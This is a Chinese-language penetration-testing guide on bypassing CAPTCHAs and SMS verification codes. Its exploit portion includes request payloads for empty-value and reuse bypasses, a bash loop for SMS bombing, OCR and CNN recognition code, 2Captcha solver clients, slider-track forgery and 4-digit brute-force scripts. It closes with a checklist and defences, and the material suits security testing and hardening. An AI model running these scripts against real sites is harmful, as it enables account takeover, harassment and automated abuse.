验证码绕过技术分析与防御指南

研究日期:2026-07-08
漏洞类型:逻辑漏洞 / 业务安全
风险等级:中危 ~ 高危(取决于利用场景)
核心原则:验证码只是一种减缓手段,不能作为唯一的安全防线


目录


一、验证码概述与分类

1.1 什么是验证码

验证码(CAPTCHA:Completely Automated Public Turing test to tell Computers and Humans Apart)是一种用于区分人类用户和自动化程序的挑战-响应测试机制。其核心目标是防止自动化脚本对 Web 应用进行恶意操作,如暴力破解、批量注册、垃圾信息提交等。

1.2 验证码分类

类别 类型 说明 安全强度
图形验证码 字符扭曲 数字/字母扭曲变形,加干扰线/噪点 ★★☆
图形验证码 数学运算 显示算式,要求用户计算结果 ★☆☆
图形验证码 图片选择 从多张图片中选择特定目标(如交通灯) ★★★
滑块验证码 拖动拼图 拖动滑块将拼图块对齐到缺口位置 ★★★★
滑块验证码 拖动轨迹 检测鼠标拖动轨迹是否为人类行为 ★★★★
行为验证码 点选文字 按顺序点击文字中的特定字符 ★★★★
行为验证码 旋转图片 将图片旋转至正确角度 ★★★
短信验证码 数字 OTP 发送到手机的 4-6 位数字验证码 ★★★★
邮箱验证码 链接/数字 通过邮箱发送的验证链接或数字码 ★★★
语音验证码 语音播报 通过电话语音播报验证码 ★★★
reCAPTCHA v2/v3 Google 风控系统,v3 无感验证 ★★★★★

1.3 常见验证码产品

产品 类型 提供商 常见场景
reCAPTCHA v2 图片选择 + 复选框 登录/注册保护
reCAPTCHA v3 无感行为评分 风控系统
极验 (Geetest) 滑块 + 点选 + 行为 国内主流
阿里云 Captcha 滑块 + 点选 + 旋转 阿里云
腾讯云 Captcha 滑块 + 点选 + 九宫格 腾讯云
百度云 Captcha 滑块 + 点选 + 旋转 百度云
顶象 (Dingxiang) 滑块 + 点选 + 无感 反爬虫
自定义图形验证码 字符图形 自研 中小型网站

二、验证码漏洞全景

2.1 漏洞分类矩阵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌─────────────────────────────────────────────────────────────────┐
│ 验证码绕过漏洞全景 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 一、前端验证绕过 │
│ ├─ 1.1 仅有前端验证(JS 验证,后端无校验) │
│ └─ 1.2 前端验证结果可被篡改(响应包修改) │
│ │
│ 二、逻辑缺陷绕过 │
│ ├─ 2.1 验证码未校验(随意输入也能通过) │
│ ├─ 2.2 验证码可复用(同一验证码多次使用) │
│ ├─ 2.3 验证码空值绕过(删除验证码参数) │
│ ├─ 2.4 验证码未绑定会话(用完即弃) │
│ ├─ 2.5 验证码未绑定操作(验证成功后修改操作对象) │
│ └─ 2.6 验证码有效期过长(长时间有效) │
│ │
│ 三、暴力破解绕过 │
│ ├─ 3.1 短验证码爆破(4 位数字可单机爆破) │
│ ├─ 3.2 长验证码多端爆破(6 位并行攻击) │
│ └─ 3.3 无频率限制(不限制尝试次数) │
│ │
│ 四、自动化识别绕过 │
│ ├─ 4.1 OCR 识别(Tesseract / 自训练模型) │
│ ├─ 4.2 机器学习识别(CNN / ResNet 等) │
│ └─ 4.3 打码平台(2Captcha / 打码兔 / 超人打码) │
│ │
│ 五、高级验证码绕过 │
│ ├─ 5.1 滑块验证码轨迹模拟 │
│ ├─ 5.2 极验验证码逆向 │
│ ├─ 5.3 reCAPTCHA 绕过自动化服务 │
│ └─ 5.4 验证码 Token 泄露 / 回显 │
│ │
└─────────────────────────────────────────────────────────────────┘

2.2 漏洞危害等级

漏洞类型 危害等级 典型后果
前端验证绕过 🔴 高危 完全绕过验证码,可任意自动化操作
验证码未校验 🔴 高危 验证码形同虚设
验证码可复用 🟡 中危 单次通过后可重复使用
验证码空值绕过 🔴 高危 删除参数即可绕过
验证码爆破 🟡 中危 短码可爆破,长码难度大
短信轰炸 🔴 高危 无频率限制导致短信资费损失
验证码回显 🟡 中危 响应包中泄露验证码原文
验证码未绑定 🟡 中危 可更换操作对象

三、前端验证绕过

3.1 仅有前端验证(JS 验证)

漏洞原理:验证码的校验逻辑完全在浏览器端 JavaScript 中实现,后端未做任何验证。攻击者可以:

  1. 直接抓包重放 — 绕过前端 JS 校验
  2. 禁用浏览器 JS — 验证码验证代码不执行
  3. 修改响应包 — 将验证失败改为验证成功

检测方法

1
2
3
4
5
6
7
8
# 1. 断网测试
# 断开网络后,验证码输入错误仍弹出提示 → 前端验证

# 2. BurpSuite 抓包观察
# 发送请求时,验证码参数未出现在请求包中 → 前端验证

# 3. 禁用 JS 测试
# 在浏览器中禁用 JavaScript,验证码功能失效 → 前端验证

利用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
# 直接抓包,删除验证码参数,重放即可
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123&captcha=任意值

# 或直接删除 captcha 参数
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123

3.2 前端验证结果可篡改

漏洞原理:验证码的验证结果通过前端返回(如 JSON 响应中的 success: true/false),攻击者可以修改响应包绕过。

1
2
3
4
5
6
7
8
9
10
11
# 原始响应(验证失败)
HTTP/1.1 200 OK
Content-Type: application/json

{"success": false, "msg": "验证码错误"}

# 修改为
HTTP/1.1 200 OK
Content-Type: application/json

{"success": true, "msg": "验证码正确"}

利用方式:使用 BurpSuite 的 Intercept Server Response 功能,拦截响应并修改。


四、逻辑缺陷绕过

4.1 验证码未校验

漏洞原理:虽然前端有验证码输入框,但后端未对验证码进行任何校验,任意输入均可通过。

1
2
3
4
5
6
# 无论输入什么验证码,都能登录成功
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123&captcha=随便输

4.2 验证码可复用

漏洞原理:验证码在服务端验证成功后未标记为”已使用”,导致同一个验证码可以多次重复使用。

1
2
3
4
5
6
7
# 第一次请求(获取验证码 + 验证成功)
GET /captcha?t=123456 → 返回验证码图片 "ABCD"
POST /login HTTP/1.1 → captcha=ABCD → 登录成功

# 第二次请求(复用同一个验证码)
POST /login HTTP/1.1 → captcha=ABCD → 仍然登录成功
POST /login HTTP/1.1 → captcha=ABCD → 仍然登录成功(无限次)

利用方式

  1. 手动获取一次验证码
  2. 使用 BurpSuite Intruder 进行爆破,所有请求复用同一个验证码值
  3. 观察哪些请求成功通过验证

4.3 验证码空值绕过

漏洞原理:后端对验证码参数的处理逻辑不严谨,当验证码参数为空或不存在时,校验逻辑直接跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 正常请求
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123&captcha=ABCD

# 空值绕过(删除 captcha 参数)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123

# 空值绕过(captcha 参数为空)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123&captcha=

# 空值绕过(captcha=null 或 captcha=undefined)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123&captcha=null

4.4 验证码未绑定会话

漏洞原理:验证码与用户 Session 未绑定,攻击者可以自己获取一个有效验证码,然后在其他会话中使用。

1
2
3
4
5
6
7
8
9
# 攻击者 A 获取验证码
GET /captcha → 返回图片 "EFGH"(SessionID: AAAA)

# 攻击者 B 使用 A 的验证码
POST /login HTTP/1.1
Cookie: JSESSIONID=BBBB
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin123&captcha=EFGH ← 使用 A 获取的验证码

利用方式

  1. 使用 Session A 获取验证码
  2. 创建 Session B,使用 Session A 的验证码值
  3. 如果 Session B 验证通过,则存在未绑定漏洞

4.5 验证码未绑定操作

漏洞原理:服务器验证了验证码,但验证成功后未将验证码与特定操作(如密码重置、手机号修改)绑定。攻击者可以在验证成功后,通过修改请求参数操作用户 A 的账户。

1
2
3
4
5
6
7
8
9
10
11
12
# Step 1: 使用自己的手机号获取验证码
POST /send_code HTTP/1.1
Content-Type: application/json

{"phone": "13800000001"} ← 攻击者自己的手机号

# Step 2: 验证码成功验证后,修改目标手机号
POST /reset_password HTTP/1.1
Content-Type: application/json

{"phone": "13900000000", "code": "123456", "new_password": "hacked"}
# phone 参数改为目标用户,但验证码是攻击者自己的

4.6 验证码过期时间过长

漏洞原理:验证码有效时间过长(如 30 分钟以上),给攻击者充足的爆破时间。

有效时长 安全等级 说明
< 60 秒 🟢 安全 短有效期内难以爆破
1-5 分钟 🟡 中危 4 位验证码理论上可爆破
5-30 分钟 🔴 高危 爆破窗口足够大
30 分钟以上 🔴 严重 验证码基本失效

4.7 验证码回显

漏洞原理:验证码直接以明文形式存在于响应包中(如 HTML 页面、JSON 响应、Cookie 等)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 情况 1: 验证码在页面 HTML 中
GET /captcha_page HTTP/1.1
...
<img src="/captcha?t=123456">
<input type="hidden" name="captcha_code" value="ABCD"> ← 验证码明文

# 情况 2: 验证码在 JSON 响应中
GET /api/captcha HTTP/1.1
...
{"code": 0, "captcha": "EFGH", "img": "/captcha/123456.png"} ← 验证码明文

# 情况 3: 验证码在 Cookie 中
HTTP/1.1 200 OK
Set-Cookie: captcha_code=IJKL; Path=/ ← 验证码明文

4.8 短信验证码爆破

漏洞原理:短信验证码通常为 4-6 位纯数字,且服务端未限制验证次数,攻击者可进行爆破。

1
2
3
4
5
6
# 4 位验证码:10000 种组合(通常可单机爆破)
# 6 位验证码:1000000 种组合(需多端并行爆破)

# 使用 BurpSuite Intruder 爆破
# 设置 Payload 为 Numbers 0-9999(4 位)/ 0-999999(6 位)
# 配合 Cluster bomb 攻击类型

爆破效率

验证码长度 组合数 单线程耗时 多线程(10)耗时
4 位数字 10,000 ~5 分钟 ~30 秒
5 位数字 100,000 ~50 分钟 ~5 分钟
6 位数字 1,000,000 ~8 小时 ~50 分钟
4 位字母+数字 1,679,616 ~14 小时 ~1.4 小时

4.9 短信轰炸

漏洞原理:发送短信验证码的接口无频率限制,攻击者可无限次调用,导致目标手机收到大量短信,造成资费损失和骚扰。

1
2
3
4
5
# 循环调用发送验证码接口
for i in {1..1000}; do
curl -X POST "https://target.com/send_code" \
-d "phone=13900000000"
done

检测方法

  1. 对同一手机号连续发送 10 次以上验证码
  2. 观察是否还能继续发送
  3. 检查是否有频率限制或行为验证

五、OCR 与自动化识别绕过

5.1 Tesseract OCR 识别

Tesseract 是最常用的开源 OCR 引擎,适用于识别简单的字符型验证码。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 安装 Tesseract
# Ubuntu
apt-get install tesseract-ocr
# macOS
brew install tesseract
# Windows
# 下载安装包: https://github.com/UB-Mannheim/tesseract/wiki

# 基本使用
tesseract captcha.png stdout

# 指定语言和 PSM 模式
tesseract captcha.png stdout -l eng --psm 7

PSM 模式说明

PSM 模式 适用场景
6 假设统一的文本块 标准文本
7 将图像视为单行文本 验证码
8 将图像视为单个词 短验证码
10 将图像视为单个字符 数字验证码

Python 集成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pytesseract
from PIL import Image, ImageFilter, ImageEnhance

def ocr_captcha(image_path):
"""OCR 识别验证码"""
img = Image.open(image_path)

# 预处理:灰度化 + 二值化 + 降噪
img = img.convert('L') # 灰度
img = img.point(lambda x: 0 if x < 128 else 255) # 二值化
img = img.filter(ImageFilter.MedianFilter(size=3)) # 中值滤波降噪

# OCR 识别
code = pytesseract.image_to_string(
img,
config='--psm 7 -c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
)
return code.strip()

# 使用
print(ocr_captcha('captcha.png'))

5.2 图像预处理提升识别率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
"""验证码图像预处理脚本"""
import cv2
import numpy as np
from PIL import Image

def preprocess_captcha(img_path, output_path='processed.png'):
"""图像预处理流水线"""
# 读取图像
img = cv2.imread(img_path)

# 1. 灰度化
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# 2. 高斯模糊降噪
blurred = cv2.GaussianBlur(gray, (3, 3), 0)

# 3. 自适应阈值二值化
binary = cv2.adaptiveThreshold(
blurred, 255,
cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
cv2.THRESH_BINARY_INV, 11, 2
)

# 4. 去噪(去除小噪点)
kernel = np.ones((2, 2), np.uint8)
denoised = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel)

# 5. 膨胀(连接断裂的字符)
dilated = cv2.dilate(denoised, kernel, iterations=1)

# 6. 边缘检测
edges = cv2.Canny(dilated, 30, 150)

cv2.imwrite(output_path, dilated)
return output_path

# 使用
preprocess_captcha('captcha.png', 'processed.png')

5.3 深度学习模型训练

对于复杂的验证码(字符粘连、扭曲、干扰线密集),传统 OCR 效果不佳,需要训练 CNN 深度学习模型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
"""使用 CNN 训练验证码识别模型(简化版)"""
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

def build_captcha_model(height=60, width=160, num_chars=4, char_set_size=36):
"""构建验证码识别 CNN 模型"""
input_layer = keras.Input(shape=(height, width, 1))

# 卷积层
x = layers.Conv2D(32, (3, 3), activation='relu', padding='same')(input_layer)
x = layers.MaxPooling2D((2, 2))(x)

x = layers.Conv2D(64, (3, 3), activation='relu', padding='same')(x)
x = layers.MaxPooling2D((2, 2))(x)

x = layers.Conv2D(128, (3, 3), activation='relu', padding='same')(x)
x = layers.MaxPooling2D((2, 2))(x)

# 全连接层
x = layers.Flatten()(x)
x = layers.Dropout(0.5)(x)
x = layers.Dense(512, activation='relu')(x)

# 输出层(每个字符一个分类输出)
outputs = []
for i in range(num_chars):
outputs.append(layers.Dense(char_set_size, activation='softmax', name=f'char_{i}')(x))

model = keras.Model(inputs=input_layer, outputs=outputs)
model.compile(
optimizer='adam',
loss='sparse_categorical_crossentropy',
metrics=['accuracy']
)
return model

# 构建模型
model = build_captcha_model()
model.summary()

# 训练(需要准备数据集)
# model.fit(x_train, y_train, epochs=50, batch_size=64, validation_split=0.2)

5.4 打码平台接入

对于复杂的验证码(如极验、reCAPTCHA),直接使用打码平台是最便捷的方式。

平台 支持类型 价格 API 方式
2Captcha reCAPTCHA v2/v3, 极验, 图形, 滑块 ~$3/1000 次 HTTP API
打码兔 图形验证码, 滑块 按量计费 HTTP API
超人打码 图形验证码, reCAPTCHA 按量计费 HTTP API
数美打码 图形验证码, 极验 按量计费 HTTP API
EzCaptcha reCAPTCHA, 极验, 滑块 按量计费 HTTP API + SDK

2Captcha 接入示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
"""2Captcha API 接入示例"""
import requests
import time

class CaptchaSolver:
def __init__(self, api_key):
self.api_key = api_key
self.base_url = "https://2captcha.com"

def solve_recaptcha_v2(self, site_key, page_url):
"""解决 reCAPTCHA v2"""
# 提交任务
resp = requests.post(f"{self.base_url}/in.php", data={
"key": self.api_key,
"method": "userrecaptcha",
"googlekey": site_key,
"pageurl": page_url,
"json": 1
})
task_id = resp.json().get("request")

# 轮询获取结果
for _ in range(60):
time.sleep(5)
result = requests.get(f"{self.base_url}/res.php", params={
"key": self.api_key,
"action": "get",
"id": task_id,
"json": 1
})
if result.json().get("status") == 1:
return result.json().get("request")
return None

def solve_image_captcha(self, image_path):
"""解决图形验证码"""
with open(image_path, 'rb') as f:
resp = requests.post(f"{self.base_url}/in.php", data={
"key": self.api_key,
"method": "post",
"json": 1
}, files={"file": f})
task_id = resp.json().get("request")

for _ in range(30):
time.sleep(3)
result = requests.get(f"{self.base_url}/res.php", params={
"key": self.api_key,
"action": "get",
"id": task_id,
"json": 1
})
if result.json().get("status") == 1:
return result.json().get("request")
return None

# 使用
solver = CaptchaSolver("YOUR_API_KEY")
token = solver.solve_recaptcha_v2("site_key", "https://target.com")
print(f"reCAPTCHA Token: {token}")

六、高级验证码绕过

6.1 滑块验证码绕过

滑块验证码(如极验 Geetest、阿里云滑块)是目前最流行的验证码类型,绕过方式包括:

方法一:轨迹模拟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
"""滑块验证码轨迹模拟"""
import random
import time

def generate_track(distance):
"""
生成人类化的鼠标拖动轨迹
distance: 拼图需要移动的距离(像素)
"""
track = []
current = 0
mid = distance * 3 / 4
t = 0.2

while current < distance:
if current < mid:
# 加速阶段
speed = random.uniform(2, 4)
else:
# 减速阶段(接近目标时放慢)
speed = random.uniform(0.5, 2)

current += speed
t += 0.01 + random.uniform(0, 0.02)
track.append({
"x": round(current, 2),
"y": random.uniform(-2, 2), # 微小的 Y 轴抖动
"t": round(t * 1000) # 时间戳(毫秒)
})

# 终点微调
track.append({
"x": round(distance, 2),
"y": 0,
"t": round(t * 1000) + random.randint(50, 150)
})

return track

# 生成轨迹
track = generate_track(258) # 假设需要移动 258 像素
print(track)

方法二:缺口识别(深度学习)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
"""使用深度学习识别滑块验证码缺口位置"""
import cv2
import numpy as np

def find_gap(bg_path, slice_path):
"""
识别滑块验证码的缺口位置
bg_path: 带缺口的背景图路径
slice_path: 滑块拼图路径
"""
bg = cv2.imread(bg_path, 0)
slice_img = cv2.imread(slice_path, 0)

# 边缘检测
bg_edges = cv2.Canny(bg, 100, 200)
slice_edges = cv2.Canny(slice_img, 100, 200)

# 模板匹配
result = cv2.matchTemplate(bg_edges, slice_edges, cv2.TM_CCOEFF_NORMED)
_, _, _, max_loc = cv2.minMaxLoc(result)

x, y = max_loc
return x, y # 缺口左上角坐标

# 使用
x, y = find_gap('captcha_bg.png', 'captcha_slice.png')
print(f"缺口位置: ({x}, {y})")

方法三:极验 API 逆向

1
2
3
4
5
6
7
8
// 极验 Geetest 验证码逆向关键点
// 1. 获取 gt 和 challenge 参数
// 2. 分析 w 参数生成算法(核心)

// 前端逆向获取 w 参数生成逻辑
// w = captcha_id + challenge + userresponse + passtime + imgload + aa + ep + rp + ...
// 其中 userresponse = 加密后的滑动距离
// passtime = 人类操作的毫秒数

6.2 reCAPTCHA 绕过

reCAPTCHA v3 使用无感评分机制(0.0 ~ 1.0),分数低于阈值时触发验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
"""reCAPTCHA 绕过服务接入"""
import requests

class RecaptchaBypass:
"""
通过打码平台绕过 reCAPTCHA
支持 reCAPTCHA v2 (checkbox/invisible) 和 v3
"""

def __init__(self, api_key, service="2captcha"):
self.api_key = api_key
self.service = service

def solve_v2(self, site_key, page_url):
"""解决 reCAPTCHA v2"""
if self.service == "2captcha":
return self._solve_2captcha(site_key, page_url)
elif self.service == "capsolver":
return self._solve_capsolver(site_key, page_url)
return None

def _solve_2captcha(self, site_key, page_url):
"""2Captcha 接入"""
# 提交任务
resp = requests.post("https://2captcha.com/in.php", data={
"key": self.api_key,
"method": "userrecaptcha",
"googlekey": site_key,
"pageurl": page_url,
"json": 1
})
task_id = resp.json().get("request")

# 等待结果
import time
for i in range(60):
time.sleep(3)
resp = requests.get("https://2captcha.com/res.php", params={
"key": self.api_key,
"action": "get",
"id": task_id,
"json": 1
})
if resp.json().get("status") == 1:
return resp.json().get("request")
return None

# 使用
bypass = RecaptchaBypass("YOUR_API_KEY")
token = bypass.solve_v2("6Lc...", "https://target.com")
print(f"reCAPTCHA Token: {token}")

# 使用 token 提交表单
resp = requests.post("https://target.com/login", data={
"username": "admin",
"password": "admin123",
"g-recaptcha-response": token
})

6.3 验证码 Token 泄露

漏洞原理:验证码的验证结果通过 Token 返回,该 Token 在前端源码或响应中可获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- 情况 1: Token 在 HTML 源码中 -->
<input type="hidden" id="captcha_token" value="VERIFIED_TOKEN_ABCDEF123">

<!-- 情况 2: Token 在 JavaScript 变量中 -->
<script>
var captchaPassed = true;
var captchaToken = "1234567890abcdef";
</script>

<!-- 情况 3: Token 在 Ajax 响应中 -->
<script>
fetch('/verify_captcha?code=ABCD').then(r => r.json()).then(data => {
// data.token = "SUCCESS_TOKEN_XYZ"
document.getElementById('captcha_token').value = data.token;
});
</script>

利用方式

  1. 手动输入验证码,第一次通过验证
  2. 从页面中提取验证通过的 Token
  3. 在其他请求中复用该 Token
  4. 配合 BurpSuite Repeater 批量使用

6.4 验证码与业务解耦

漏洞原理:验证码验证和业务操作分为两个独立的请求,但中间没有会话绑定,攻击者可以分离两者。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Step 1: 验证码验证(独立请求,返回 token)
POST /api/verify_captcha HTTP/1.1
Content-Type: application/json

{"code": "ABCD"}

# 响应
{"success": true, "token": "captcha_token_123456"}

# Step 2: 业务操作(使用上一步的 token)
POST /api/reset_password HTTP/1.1
Content-Type: application/json

{"phone": "13900000000", "captcha_token": "captcha_token_123456", "new_password": "hacked"}

# 漏洞:token 可复用,且未绑定到特定手机号

七、工具链与自动化脚本

7.1 验证码扫描工具

工具 用途 地址
BurpSuite + Captcha-Killer BurpSuite 验证码识别插件 GitHub: c0ny1/captcha-killer
BurpSuite + captcha-killer-modified 改进版验证码识别插件 GitHub: f0ng/captcha-killer-modified
Tesseract OCR 开源 OCR 引擎 GitHub: tesseract-ocr/tesseract
ddddocr 深度学习验证码识别(中文友好) GitHub: sencys/ddddocr
muggle_ocr 轻量级 OCR 引擎 pip install muggle-ocr

7.2 ddddocr 快速识别

ddddocr 是目前最流行的 Python 深度学习验证码识别库,无需训练即可识别大多数图形验证码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
"""使用 ddddocr 识别验证码"""
import ddddocr

# 初始化 OCR(带目标检测)
ocr = ddddocr.DdddOcr(det=False, show_ad=False)

# 识别图形验证码
with open('captcha.png', 'rb') as f:
img_bytes = f.read()
result = ocr.classification(img_bytes)
print(f"识别结果: {result}")

# 识别滑块验证码缺口
det = ddddocr.DdddOcr(det=True, show_ad=False)
with open('bg.png', 'rb') as f:
bg_bytes = f.read()
with open('slice.png', 'rb') as f:
slice_bytes = f.read()
res = det.slide_match(slice_bytes, bg_bytes)
print(f"缺口位置: {res}")

7.3 通用验证码绕过自动化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
"""
通用验证码绕过自动化检测脚本
功能: 检测验证码未校验、空值绕过、复用绕过
"""
import requests
import sys

TARGET = "https://target.com"

def test_captcha_bypass(login_url, captcha_param="captcha"):
"""测试验证码绕过"""
test_payloads = [
("正常验证码", "ABCD"),
("空值", ""),
("删除参数", None), # 不发送 captcha 参数
("null", "null"),
("undefined", "undefined"),
("0", "0"),
("true", "true"),
("false", "false"),
("随机值", "RANDOM123"),
("复用验证码", "ABCD"), # 第二次使用
]

results = []

for name, value in test_payloads:
data = {"username": "admin", "password": "admin123"}

if value is not None:
data[captcha_param] = value
# 如果 value 为 None,则不发送 captcha 参数

try:
r = requests.post(login_url, data=data, timeout=10)

# 判断是否绕过成功
if r.status_code == 200:
if "success" in r.text.lower() or "登录成功" in r.text:
results.append((name, "✅ 绕过成功", value))
elif "验证码" not in r.text:
results.append((name, "⚠️ 可能绕过(无验证码错误提示)", value))
else:
results.append((name, "❌ 被拦截", value))
else:
results.append((name, f"❌ HTTP {r.status_code}", value))
except Exception as e:
results.append((name, f"❌ 异常: {e}", value))

return results

# 使用
results = test_captcha_bypass(f"{TARGET}/login")
print(f"{'测试类型':<15} {'结果':<20} {'Payload':<20}")
print("=" * 55)
for name, result, value in results:
print(f"{name:<15} {result:<20} {str(value):<20}")

7.4 验证码批量爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
"""
验证码爆破 + 密码爆破组合脚本
"""
import requests
import itertools
import string
import threading
from queue import Queue

class CaptchaBruteForcer:
"""验证码爆破器"""

def __init__(self, target_url, captcha_url=None):
self.target_url = target_url
self.captcha_url = captcha_url
self.session = requests.Session()

def get_captcha(self):
"""获取验证码"""
if not self.captcha_url:
return None
r = self.session.get(self.captcha_url)
# 保存验证码图片
with open('captcha.png', 'wb') as f:
f.write(r.content)
return 'captcha.png'

def brute_4digit(self, username="admin", password="admin123"):
"""爆破 4 位数字验证码"""
for code in range(10000):
data = {
"username": username,
"password": password,
"captcha": f"{code:04d}"
}
try:
r = self.session.post(self.target_url, data=data, timeout=5)
if "验证码错误" not in r.text:
print(f"[+] 找到有效验证码: {code:04d}")
print(f" 响应: {r.text[:100]}")
return code
except:
pass

if code % 1000 == 0:
print(f"[*] 已测试 {code}/10000")

print("[-] 未找到有效验证码")
return None

# 使用
bf = CaptchaBruteForcer("https://target.com/login")
bf.brute_4digit()

八、验证码安全评估 Checklist

8.1 通用检测清单

  • 1. 前端验证检测
    • 抓包验证验证码是否在后端校验
    • 断网测试验证码是否失效
    • 禁用 JS 测试验证码是否可绕过
  • 2. 空值绕过检测
    • 删除验证码参数
    • 验证码参数设为空字符串
    • 验证码参数设为 null / undefined
  • 3. 复用绕过检测
    • 同一验证码连续使用两次
    • 使用其他 Session 的验证码
  • 4. 会话绑定检测
    • Session A 获取验证码,Session B 使用
    • 验证验证码是否与用户 IP 绑定
  • 5. 操作绑定检测
    • 验证码验证成功后,修改操作对象
    • 验证码验证成功后,修改手机号/邮箱
  • 6. 过期时间检测
    • 获取验证码后等待 1/5/10/30 分钟再使用
    • 验证超时后是否仍可提交
  • 7. 回显检测
    • 检查响应包中是否包含验证码明文
    • 检查页面 HTML 源码中是否包含验证码 Token
    • 检查 Cookie 中是否包含验证码
  • 8. 爆破检测
    • 测试验证码是否可爆破(4 位/6 位)
    • 测试验证码尝试次数限制
    • 测试验证码尝试频率限制
  • 9. 短信轰炸检测
    • 同一手机号连续发送 10+ 次验证码
    • 同一 IP 连续发送 100+ 次验证码
    • 验证是否有图形验证码前置保护
  • 10. OCR 识别检测
    • 验证码字符是否扭曲/粘连
    • 验证码是否有干扰线/噪点
    • 使用 ddddocr / Tesseract 测试识别率

8.2 验证码强度评估表

维度
字符类型 纯数字 数字+字母 数字+字母+特殊字符
字符长度 4 位以下 4-6 位 6 位以上
扭曲程度 无扭曲 轻度扭曲 重度扭曲+粘连
干扰元素 简单干扰线 复杂噪点+干扰线+颜色
有效期 30 分钟+ 5-10 分钟 60 秒内
尝试限制 无限制 5 次后锁定 3 次后锁定+递增延迟
会话绑定 无绑定 绑定 Session 绑定 Session+IP+设备指纹
二次验证 关键操作验证 全链路验证

九、防御建议

🔴 P0 — 必须修复

措施 说明
后端必须校验验证码 验证码校验逻辑必须在服务端实现,禁止仅前端校验
验证码一次性使用 验证码验证成功后立即标记为已使用(无论验证是否成功)
验证码绑定会话 验证码必须与 Session / Token 绑定,禁止跨会话使用
验证码绑定操作 验证码验证成功后,应锁定操作对象(如手机号、邮箱)
验证码有时效性 验证码有效期不超过 60 秒

🟡 P1 — 尽快修复

措施 说明
尝试次数限制 验证码错误超过 3-5 次后锁定,递增延迟
频率限制 发送验证码接口限制:同一手机号 60 秒内只能发送 1 次
图形验证码前置 短信/邮箱验证码发送前,先通过图形或行为验证码
验证码复杂度 图形验证码使用 6 位以上字母+数字组合,加扭曲和干扰
响应不泄露验证码 响应包、Cookie、页面源码中禁止出现验证码明文

🟢 P2 — 建议优化

措施 说明
行为行为分析 集成行为验证码(如极验),检测鼠标轨迹、键盘输入等
设备指纹 结合设备指纹识别,提高自动化攻击门槛
IP 信誉分析 对代理 IP、IDC 机房 IP 进行额外验证
多维度风控 结合用户行为、设备、IP 等多维度构建风控模型
验证码降级 安全风险低时使用简单验证码,高风险时升级验证码强度

十、参考链接

漏洞分析

工具与开源项目

验证码产品


免责声明:本文档仅供安全防御和授权测试参考。所有漏洞信息均来自公开渠道,请勿用于未授权的测试或攻击行为。使用者应遵守当地法律法规,后果自负。

核心原则:验证码只是一种减缓手段,不能作为唯一的安全防线。真正的安全需要通过多维度风控体系实现。

生成时间:2026-07-08